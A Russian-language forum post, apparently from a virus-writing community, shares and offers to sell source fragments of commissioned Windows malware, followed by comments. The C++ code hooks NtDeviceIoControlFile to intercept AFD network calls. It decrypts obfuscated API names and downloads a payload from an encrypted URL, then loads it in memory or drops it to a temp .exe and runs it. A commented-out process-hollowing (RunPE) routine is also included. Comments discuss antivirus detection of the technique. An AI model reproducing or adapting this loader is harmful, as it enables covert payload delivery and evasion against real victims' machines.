Потаха с кусками сорцев

Дата публикации 9 сен 2017 | Редактировалось 10 янв 2018
© sysenter


Как то ехал я перед рождеством..
Погонял коня гужевым хлыстом....
Что нужно, а что нет в VX теме
1. DLL херово криптуются, в чем у мну заказчик просайгонился, но пролдержалась потаха долго
2. Линки на анализ
https://habrahabr.ru/company/eset/blog/263855/
https://habrahabr.ru/company/eset/blog/264165/
3. Делалось за 12к
4. Куски кодеса
Код (C):
  1. #pragma once
  2. //======================================================================
  3. /*extern "C" PCSTR
  4.     WSAAPI
  5.     inet_ntop(
  6.     __in                                INT             Family,
  7.     __in                                PVOID           pAddr,
  8.     __out_ecount(StringBufSize)         PSTR            pStringBuf,
  9.     __in                                size_t          StringBufSize
  10.     );*/
  11. //**************************************************************************************************
  12. #define TDI_ADDRESS_TYPE_IP                                2
  13. #define METHOD_NEITHER 3
  14.  
  15. #define AFD_BIND                                                    0
  16. #define AFD_CONNECT                                                1
  17. #define AFD_RECV                                                    5
  18. #define AFD_SEND                                                    7
  19. #define AFD_DISCONNECT                                        10
  20. #define FILE_DEVICE_NETWORK               0x00000012
  21. #define FSCTL_AFD_BASE  FILE_DEVICE_NETWORK
  22. #define _AFD_CONTROL_CODE(Operation,Method)   ((FSCTL_AFD_BASE)<<12 | (Operation<<2) | Method)
  23. #define IOCTL_AFD_BIND                    _AFD_CONTROL_CODE(AFD_BIND, METHOD_NEITHER)
  24. #define IOCTL_AFD_CONNECT                _AFD_CONTROL_CODE(AFD_CONNECT, METHOD_NEITHER)
  25. #define IOCTL_AFD_RECV                    _AFD_CONTROL_CODE(AFD_RECV, METHOD_NEITHER) //0x12017
  26. #define IOCTL_AFD_SEND                    _AFD_CONTROL_CODE(AFD_SEND, METHOD_NEITHER) //0x1201F
  27. #define IOCTL_AFD_DISCONNECT        _AFD_CONTROL_CODE(AFD_DISCONNECT, METHOD_NEITHER)
  28. //=========================================================================
  29. //**************************************************************************************************
  30. static HANDLE hWorkMutex;
  31. //=========================================================================
  32. //**************************************************************************************************
  33. typedef struct _AFD_WSABUF
  34. {
  35.     UINT  len;
  36.     PCHAR buf;
  37. } AFD_WSABUF, *PAFD_WSABUF;
  38.  
  39. typedef struct _TDI_ADDRESS_IP {
  40.     USHORT sin_port;
  41.     ULONG  in_addr;
  42.     UCHAR  sin_zero[8];
  43. } TDI_ADDRESS_IP, *PTDI_ADDRESS_IP;
  44.  
  45. typedef struct _TA_ADDRESS_IP {
  46.     LONG  TAAddressCount;
  47.     struct  _AddrIp
  48.     {
  49.         USHORT          AddressLength;
  50.         USHORT          AddressType;
  51.         TDI_ADDRESS_IP  Address[1];
  52.     } Address [1];
  53. } TA_IP_ADDRESS, *PTA_IP_ADDRESS;
  54.  
  55. typedef struct _TA_ADDRESS {
  56.     USHORT  AddressLength;
  57.     USHORT  AddressType;
  58.     UCHAR   Address[1];
  59. } TA_ADDRESS, *PTA_ADDRESS;
  60.  
  61. typedef struct _TRANSPORT_ADDRESS {
  62.     LONG  TAAddressCount;
  63.     TA_ADDRESS  Address[1];
  64. } TRANSPORT_ADDRESS, *PTRANSPORT_ADDRESS;
  65.  
  66. typedef struct  _AFD_SEND_INFO
  67. {
  68.     PAFD_WSABUF             BufferArray;
  69.     ULONG               BufferCount;
  70.     ULONG               AfdFlags;
  71.     ULONG               TdiFlags;
  72. } AFD_SEND_INFO , *PAFD_SEND_INFO ;
  73.  
  74. typedef struct  _AFD_CONNECT_INFO
  75. {
  76.     BOOLEAN             UseSAN;
  77.     ULONG               Root;
  78.     ULONG               Unknown;
  79.     //#if 1 /* bruening: based on win7 observation: i#376 */
  80.     //    SOCKADDR                            Address;
  81.     //#else
  82.         TRANSPORT_ADDRESS                   Address;
  83.     //#endif
  84. } AFD_CONNECT_INFO , *PAFD_CONNECT_INFO ;
  85.  
  86. typedef struct _AFD_BIND_DATA
  87. {
  88.     ULONG                               ShareType;
  89.     #if 1 /* bruening: based on win7 observation: i#376 */
  90.         SOCKADDR                            Address;
  91.     #else
  92.         TRANSPORT_ADDRESS                   Address;
  93.     #endif
  94. } AFD_BIND_DATA, *PAFD_BIND_DATA;
  95. //==================================================================================================
  96.  
  97. //**************************************************************************************************
  98. void PrintAddress( PTA_ADDRESS address )
  99. {
  100.     char buffer[256];
  101.     if(address->AddressType == TDI_ADDRESS_TYPE_IP)
  102.     {
  103.         TDI_ADDRESS_IP* ip_address = (TDI_ADDRESS_IP*)address->Address;
  104.         char *p;
  105.         p = (char *)&ip_address->in_addr;
  106.         in_addr ia;
  107.         memcpy(&ia,&ip_address->in_addr,sizeof(in_addr));
  108.         sprintf(buffer,"%d.%d.%d.%d:%u", (UCHAR)p[0], (UCHAR)p[1], (UCHAR)p[2], (UCHAR)p[3], ntohs(ip_address->sin_port));
  109.         DPRINT2("Address = %s -- %s\n", buffer,inet_ntoa(ia));
  110.     }
  111. }
  112. //////////////////////////////////////////////////////////////////////////////////////////////////
  113. //Загрузка файла из интернета в буфер
  114. //////////////////////////////////////////////////////////////////////////////////////////////////
  115. BOOL URLDownloadToBuffer(IN LPCSTR lpszURL,OUT LPBYTE *lpBuffer,OUT DWORD *lpdwSize)
  116. {
  117.     BOOL bResult = FALSE;
  118.     IStream *lpStream;
  119.     if(lpszURL && SUCCEEDED(pURLOpenBlockingStreamA(NULL, lpszURL, &lpStream, 0, NULL))){
  120.         STATSTG statStream;
  121.         if(SUCCEEDED(lpStream->Stat(&statStream, STATFLAG_NONAME)))
  122.         {
  123.             DWORD dwSize = ++statStream.cbSize.LowPart;
  124.             #ifdef DBG
  125.                 DPRINT1("######SIZE=%d",dwSize);
  126.             #endif
  127.             *lpBuffer = (LPBYTE)Mem::alloc(dwSize);
  128.             if(*lpBuffer)
  129.             {
  130.                 LARGE_INTEGER liPos;
  131.                 Mem::_zero(&liPos, sizeof(liPos));
  132.                 Mem::_zero(*lpBuffer, dwSize);
  133.                 *lpdwSize = --dwSize;
  134.                 lpStream->Seek(liPos, STREAM_SEEK_SET, NULL);
  135.                 lpStream->Read(*lpBuffer, *lpdwSize, NULL);
  136.                 bResult = TRUE;
  137.             }
  138.         }
  139.         lpStream->Release();
  140.     }
  141.     return bResult;
  142. }
  143. DWORD GetSectionProtection(DWORD sc)
  144. {
  145.     DWORD dwResult=0;
  146.     if (sc & IMAGE_SCN_MEM_NOT_CACHED)
  147.         dwResult |= PAGE_NOCACHE;
  148.  
  149.     if (sc & IMAGE_SCN_MEM_EXECUTE)
  150.     {
  151.         if (sc & IMAGE_SCN_MEM_READ)
  152.         {
  153.             if (sc & IMAGE_SCN_MEM_WRITE)
  154.                 dwResult |= PAGE_EXECUTE_READWRITE;
  155.             else
  156.                 dwResult |= PAGE_EXECUTE_READ;
  157.         }
  158.         else
  159.         {
  160.             if (sc & IMAGE_SCN_MEM_WRITE)
  161.                 dwResult |= PAGE_EXECUTE_WRITECOPY;
  162.             else
  163.                 dwResult |= PAGE_EXECUTE;
  164.         }
  165.     }
  166.     else
  167.     {
  168.         if (sc & IMAGE_SCN_MEM_READ)
  169.         {
  170.             if (sc & IMAGE_SCN_MEM_WRITE)
  171.                 dwResult|=PAGE_READWRITE;
  172.             else
  173.                 dwResult|=PAGE_READONLY;
  174.         }
  175.         else
  176.         {
  177.             if (sc & IMAGE_SCN_MEM_WRITE)
  178.                 dwResult|=PAGE_WRITECOPY;
  179.             else
  180.                 dwResult|=PAGE_NOACCESS;
  181.         }
  182.     }
  183.  
  184.     return dwResult;
  185. }
  186. //--------------------------------------------------------------------------------------------------
  187. //NTSTATUS LoaderPE(CHAR* szProcessName, LPBYTE lpBuffer)
  188. //{
  189. //    NTSTATUS ntRet;
  190. //    INT i;
  191. //    CONTEXT ctx;
  192. //    DWORD dwaddr;
  193. //    STARTUPINFOA si;
  194. //    LPVOID lpAddress;
  195. //    PROCESS_INFORMATION pi;
  196. //    PIMAGE_SECTION_HEADER pish;
  197. //    PIMAGE_DOS_HEADER pidh= (PIMAGE_DOS_HEADER)&lpBuffer[0];
  198. //    PIMAGE_NT_HEADERS pinh= (PIMAGE_NT_HEADERS)&lpBuffer[pidh->e_lfanew];
  199. //    Mem::_zero(&si,sizeof(si));
  200. //    si.cb = sizeof(STARTUPINFOA);
  201. //    #ifdef DBG
  202. //        DPRINT("Start LoaderPE");
  203. //    #endif
  204. //    if(pCreateProcessA(NULL,szProcessName,NULL,NULL, FALSE,CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
  205. //    {
  206. //        #ifdef DBG
  207. //            DPRINT("Process created");
  208. //        #endif
  209. //        ctx.ContextFlags = CONTEXT_FULL;
  210. //        DWORD dwTemp = 0;
  211. //        if(NT_SUCCESS(pNtGetContextThread(pi.hThread, &ctx)))
  212. //        {
  213. //            #ifdef DBG
  214. //                DPRINT1("GetThreadContext = OK Ebx=0x%X",ctx.Ebx);
  215. //            #endif
  216. //            lpAddress = (LPVOID)(ctx.Ebx + 8);
  217. //            if(NT_SUCCESS(pWriteProcessMemory(pi.hProcess,lpAddress,&pinh->OptionalHeader.ImageBase,4,&dwTemp)))//WriteProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx + 8), &pinh->OptionalHeader.ImageBase, 4, NULL))
  218. //            {
  219. //                #ifdef DBG
  220. //                    DPRINT("WriteVirtualMemory 4 byte");
  221. //                #endif
  222. //                if(!NT_SUCCESS(pNtUnmapViewOfSection(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase)))
  223. //                {
  224. //                    #ifdef DBG
  225. //                        DPRINT("NtUnmapViewOfSection Error");
  226. //                    #endif
  227. //                    if(pVirtualFreeEx(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase, 0, MEM_DECOMMIT | MEM_RELEASE ))
  228. //                    {
  229. //                        #ifdef DBG
  230. //                            DPRINT("VirtualFreeEx Error");
  231. //                        #endif
  232. //                    }
  233. //                }
  234. //            }
  235. //            else
  236. //            {
  237. //                #ifdef DBG
  238. //                    DPRINT1("WriteProcessMemory Error:0x%X",GetLastError());
  239. //                #endif
  240. //            }
  241. //            lpAddress=NULL;
  242. //            lpAddress=pVirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase,pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  243. //            if(lpAddress==NULL)
  244. //            {
  245. //                #ifdef DBG
  246. //                    DPRINT("VirtualAllocEx in base error");
  247. //                #endif
  248. //                lpAddress=pVirtualAllocEx(pi.hProcess,NULL,pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  249. //            }
  250. //            if(lpAddress!=NULL)
  251. //            {
  252. //                #ifdef DBG
  253. //                    DPRINT("VirtualAllocEx OK");
  254. //                #endif
  255. //                if(pWriteProcessMemory(pi.hProcess, lpAddress, &lpBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL))
  256. //                {
  257. //                    #ifdef DBG
  258. //                        DPRINT("WriteProcessMemory OK");
  259. //                    #endif
  260. //                    for(i = 0; i < pinh->FileHeader.NumberOfSections; i++)
  261. //                    {
  262. //                        pish = (PIMAGE_SECTION_HEADER)&lpBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i];
  263. //                        if(!pWriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)lpAddress + pish->VirtualAddress), &lpBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL))
  264. //                        {
  265. //                            #ifdef DBG
  266. //                                DPRINT("WriteProcessMemoryC NormalError");
  267. //                            #endif
  268. //                        }
  269. //                        if(!pVirtualProtectEx(pi.hProcess,(LPVOID)((DWORD)lpAddress+ pish->VirtualAddress), pish->Misc.VirtualSize,GetSectionProtection(pish->Characteristics),&dwaddr))
  270. //                        {
  271. //                            #ifdef DBG
  272. //                                DPRINT("VirtualProtectEx NormalError");
  273. //                            #endif
  274. //                        }
  275. //                    }
  276. //                    ctx.Eax = (DWORD)lpAddress + pinh->OptionalHeader.AddressOfEntryPoint;
  277. //                    if(NT_SUCCESS(pNtSetContextThread(pi.hThread, &ctx)))
  278. //                    {
  279. //                        #ifdef DBG
  280. //                            DPRINT("SetThreadContext OK");
  281. //                        #endif
  282. //                        //__NtResumeProcess = (_NtResumeProcess)  GetProcAddress(hNtDll,Decrypt(szNtResumeProcess));
  283. //                        ntRet = pNtResumeProcess(pi.hProcess);
  284. //                    }
  285. //                }
  286. //            }
  287. //        }
  288. //    }
  289. //    return ntRet;
  290. //}
  291. BOOL LoaderPE(LPBYTE lpBuffer, DWORD dwSizeCode)
  292. {
  293.     char szProcessName[MAX_PATH];
  294.     if(pGetTempPathA(sizeof(szProcessName)-1,szProcessName))
  295.     {
  296.         Str::_catA(szProcessName,Crypt::rnddstr(3,10),-1);
  297.         Str::_catA(szProcessName,".exe",-1);
  298.         DPRINT1("Try CreateFile:%s",szProcessName);
  299.         HANDLE hFile = pCreateFileA(szProcessName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  300.         if(hFile!=INVALID_HANDLE_VALUE)
  301.         {
  302.             DPRINT("CreateFile OK");
  303.             DWORD dwWritten;
  304.             pWriteFile(hFile,lpBuffer,dwSizeCode,&dwWritten,NULL);
  305.             pNtClose(hFile);
  306.             STARTUPINFOA si;
  307.             PROCESS_INFORMATION pi;
  308.             Mem::_zero(&si,sizeof(si));
  309.             si.cb = sizeof(STARTUPINFOA);
  310.             DPRINT("Try CreateProcess");
  311.             if(pCreateProcessA(NULL,szProcessName,NULL,NULL, FALSE,0, NULL, NULL, &si, &pi))
  312.             {
  313.                 DPRINT("CreateProcess-OK");
  314.                 return TRUE;
  315.             }
  316.         }
  317.     }
  318.     return FALSE;
  319. }
  320. //------------------------------------------------------------------------------------------------
  321. HMEMORYMODULE hmmDLL;
  322. //////////////////////////////////////////////////////////////////////////////////////////////////
  323. //Загрузка файла
  324. //////////////////////////////////////////////////////////////////////////////////////////////////
  325. DWORD WINAPI Loader(LPVOID)
  326. {
  327.     pEnterCriticalSection(&csSinc);
  328.         BYTE bOK = FALSE;
  329.         LPBYTE lpBuffer;
  330.         DWORD dwSize=0;
  331.         DPRINT("--->URLDownloadToBuffer");
  332.         BOOL bRet = URLDownloadToBuffer(Crypt::_Decrypt(szcUrlToDownload),&lpBuffer,&dwSize);
  333.         if(bRet && (dwSize>0 && dwSize<MAXDWORD))
  334.         {
  335.             //Проверяем exe или dll в буфере
  336.             PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS) NTSIGNATURE(lpBuffer);
  337.             if(ntHeader->FileHeader.Characteristics & IMAGE_FILE_DLL)
  338.             {
  339.                 DPRINT("Is a dll, try to load...");
  340.                 //Если dll - загружаем и передаем управление на точку входа
  341.                 hmmDLL = MemoryLoadLibrary((char*)lpBuffer);
  342.                 if(hmmDLL)
  343.                 {
  344.                     DPRINT("Dll loaded");
  345.                     bOK = TRUE;
  346.                 }
  347.             }
  348.             else
  349.             {
  350.                 DPRINT("Is a exe, try to load...");
  351.                 //pCreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MemoryLoadLibrary,lpBuffer,0,NULL);
  352.                 //MemoryLoadLibrary((char*)lpBuffer);
  353.                 if(LoaderPE(lpBuffer,dwSize)) DPRINT("Exe loaded");
  354.                 bOK = TRUE;
  355.             }
  356.  
  357.         }
  358.         else
  359.         {
  360.             DPRINT3("@@ERROR@@URLDownloadToBuffer=%d, Sz=%d, Error: 0x%X",bRet,dwSize,GetLastError());
  361.             pNtClose(hWorkMutex); hWorkMutex=NULL;
  362.         }
  363.     pLeaveCriticalSection(&csSinc);
  364.     if(!bOK) Loader(NULL);
  365.     return bOK;
  366. }
  367. //------------------------------------------------------------------------------------------------
  368. void WINAPI Work(void)
  369. {
  370.     hWorkMutex = pCreateMutexA(NULL,FALSE,Crypt::_Decrypt(szWorkMutex));
  371.     if(hWorkMutex)
  372.     {
  373.         char szcURLMON[]={0x56,0x54,0x4F,0x51,0x54,0x54,0x00};
  374.         HMODULE hURLMON = pLoadLibraryA(Crypt::_Decrypt(szcURLMON));
  375.         if(hURLMON)
  376.         {
  377.             char szcURLOpenBlockingStreamA[]={0x56,0x54,0x4F,0x53,0x75,0x6B,0x75,0x4A,0x75,0x79,0x6E,0x77,0x76,0x7C,0x76,0x63,0x85,0x84,0x78,0x75,0x82,0x57,0x00};
  378.             pURLOpenBlockingStreamA=(_URLOpenBlockingStreamA)pGetProcAddress(hURLMON,Crypt::_Decrypt(szcURLOpenBlockingStreamA));
  379.             if(pURLOpenBlockingStreamA)
  380.             {
  381.                 pSetThreadPriority(pCreateThread(NULL,0,Loader,NULL,0,NULL),THREAD_PRIORITY_IDLE);
  382.             } else pNtClose(hWorkMutex);
  383.         }
  384.     }
  385. }
  386. //////////////////////////////////////////////////////////////////////////////////////////////////
  387. //Здесь хукается вся работа с железом,
  388. //но нас интересует только работа с драйвером AFD
  389. //////////////////////////////////////////////////////////////////////////////////////////////////
  390. BOOL bSTOP = FALSE;
  391. NTSTATUS WINAPI newNtDeviceIoControlFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG IoControlCode,IN PVOID  InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,ULONG  OutputBufferLength)
  392. {
  393.      switch (IoControlCode)
  394.      {
  395.             //case IOCTL_AFD_BIND:  /* 0x12003 */
  396.             //    DPRINT("IOCTL_AFD_BIND");
  397.    //     /* InputBuffer == AFD_BIND_DATA.  Address.Address is var-len and mswsock.dll
  398.    //      * seems to pass an over-estimate of the real size.
  399.    //      */
  400.    //   /*  CHECK_DEF(inbuf, offsetof(AFD_BIND_DATA, Address), "AFD_BIND_DATA pre-Address");
  401.    //     check_sockaddr(inbuf + offsetof(AFD_BIND_DATA, Address),
  402.    //                    insz - offsetof(AFD_BIND_DATA, Address), MEMREF_CHECK_DEFINEDNESS,
  403.    //                    mc, sysnum, "AFD_BIND_DATA.Address");
  404.             //                                 */
  405.    //   break;
  406.             case IOCTL_AFD_CONNECT:
  407.                 if(!bSTOP)
  408.                 {
  409.                     DPRINT("IOCTL_AFD_CONNECT");
  410.                     hWorkMutex = pOpenMutexA(MUTEX_ALL_ACCESS,FALSE,Crypt::_Decrypt(szWorkMutex));
  411.                     if(!hWorkMutex)    Work(); else bSTOP=TRUE;
  412.                 }
  413.                 /*PAFD_CONNECT_INFO pAFDCI;
  414.                 pAFDCI = (PAFD_CONNECT_INFO)InputBuffer;
  415.                 TA_ADDRESS ta;
  416.                 ta = pAFDCI->Address.Address[0];*/
  417.                 //DPRINT("TRY to CONNECT");
  418.                 //PrintAddress(&ta);
  419.                 //sss = inet_ntoa(*get_in_addr(&(pAFDCI->Address)));
  420.                 /* InputBuffer == AFD_CONNECT_INFO.  RemoteAddress.Address is var-len. */
  421.             //    AFD_CONNECT_INFO *info = (AFD_CONNECT_INFO *) inbuf;
  422.                 /* Have to separate the Boolean since padding after it */
  423.             /*    CHECK_DEF(inbuf, sizeof(info->UseSAN), "AFD_CONNECT_INFO.UseSAN");
  424.                 CHECK_DEF(&info->Root, (byte*)&info->RemoteAddress - (byte*)&info->Root,
  425.                     "AFD_CONNECT_INFO pre-RemoteAddress");
  426.                 check_sockaddr((byte*)&info->RemoteAddress,
  427.                     insz - offsetof(AFD_CONNECT_INFO, RemoteAddress),
  428.                     MEMREF_CHECK_DEFINEDNESS, mc, sysnum,
  429.                     "AFD_CONNECT_INFO.RemoteAddress");
  430.                     */
  431.             break;
  432.             case IOCTL_AFD_SEND: /* 0x1201f */
  433. //                DPRINT("IOCTL_AFD_SEND");
  434.                 if(!bSTOP)
  435.                 {
  436.                     hWorkMutex = pOpenMutexA(MUTEX_ALL_ACCESS,FALSE,Crypt::_Decrypt(szWorkMutex));
  437.                     if(!hWorkMutex)    Work(); else bSTOP=TRUE;
  438.                 }
  439.            
  440.                 /* InputBuffer == AFD_SEND_INFO */
  441.                 /*AFD_SEND_INFO info;
  442.                 CHECK_DEF(inbuf, insz, "AFD_SEND_INFO"); /* no padding */
  443.                 /*if (safe_read(inbuf, sizeof(info), &info)) {
  444.                     uint i;
  445.                     CHECK_DEF(info.BufferArray, info.BufferCount * sizeof(*info.BufferArray),
  446.                         "AFD_SEND_INFO.BufferArray");
  447.                     for (i = 0; i < info.BufferCount; i++) {
  448.                         AFD_WSABUF buf;
  449.                         if (safe_read((char *)&info.BufferArray[i], sizeof(buf), &buf))
  450.                             CHECK_DEF(buf.buf, buf.len, "AFD_SEND_INFO.BufferArray[i].buf");
  451.                         else
  452.                             WARN("WARNING: IOCTL_AFD_SEND: can't read param");
  453.                     }
  454.                 } else
  455.                     WARN("WARNING: IOCTL_AFD_SEND: can't read param");*/
  456.             break;
  457.      }
  458.     return    trueNtDeviceIoControlFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength );
ADD: afd - это драйвер перед ndis.

7 4.793
RET

RET
Well-Known Member

Регистрация:
5 янв 2008
Публикаций:
17

Комментарии


      1. TermoSINteZ 19 янв 2018
        zerodawn
        могу только порекомендовать вести себя скромнее. Вы только что зарегались, а уже посылаете RET`а . У меня складывается мнение, что вы его преследуете.
        Качество кода конечно не айс. Но пусть это будет на совести Автора. :) Он же себе сам таким образом антирекламу делает. Что тут обсуждать еще
      2. zerodawn 19 янв 2018
        TermoSINteZ , модер и как кодер, скажи, RET адекватен или нет? Может я неадекватен, я хз, но мне кажется что че то 2008 год реги не совпадает с уровнем его развития
      3. zerodawn 19 янв 2018
        RET , Инде2 тогда уж, но до инди мне далеко. Спасибо за комплимент. А почему ты считаешь, что дебилус очередноис? Я веду с тобой конструктивный диалог, а ты на оскорбления. Если ты не воспринимаешь критику, то это тебе надо к школьному психологу.
      4. zerodawn 19 янв 2018
        RET , Там не лоадпе, а RunPE у тебя, который палится всем чем можно в рантайме. И это не "Норм лоадер".

        Это Process Hollowing. Создание нового процесса, анмап секций, и маппинг бинаря туда. Это RunPE, палится всем чем только можно.
        Код (Text):
        1. //    if(pCreateProcessA(NULL,szProcessName,NULL,NULL, FALSE,CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        2. //    {
        3. //        #ifdef DBG
        4. //            DPRINT("Process created");
        5. //        #endif
        6. //        ctx.ContextFlags = CONTEXT_FULL;
        7. //        DWORD dwTemp = 0;
        8. //        if(NT_SUCCESS(pNtGetContextThread(pi.hThread, &ctx)))
        9. //        {
        10. //            #ifdef DBG
        11. //                DPRINT1("GetThreadContext = OK Ebx=0x%X",ctx.Ebx);
        12. //            #endif
        13. //            lpAddress = (LPVOID)(ctx.Ebx + 8);
        14. //            if(NT_SUCCESS(pWriteProcessMemory(pi.hProcess,lpAddress,&pinh->OptionalHeader.ImageBase,4,&dwTemp)))//WriteProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx + 8), &pinh->OptionalHeader.ImageBase, 4, NULL))
        15. //            {
        16. //                #ifdef DBG
        17. //                    DPRINT("WriteVirtualMemory 4 byte");
        18. //                #endif
        19. //                if(!NT_SUCCESS(pNtUnmapViewOfSection(pi.hProcess,(PVOID)pinh->OptionalHeader.ImageBase)))
        20. //                {
      5. RET 9 сен 2017
        АФД это как бы общак перед ядром
      6. yashechka 9 сен 2017
        Простите любезный, а чито такое АФД?
      7. RET 9 сен 2017
        Вот так ребядки я когдато на AFD наезжал :)
        Сорцы могу продать за 3к, не вопрос, проблема в том что админку не я писал, её нету :dntknw: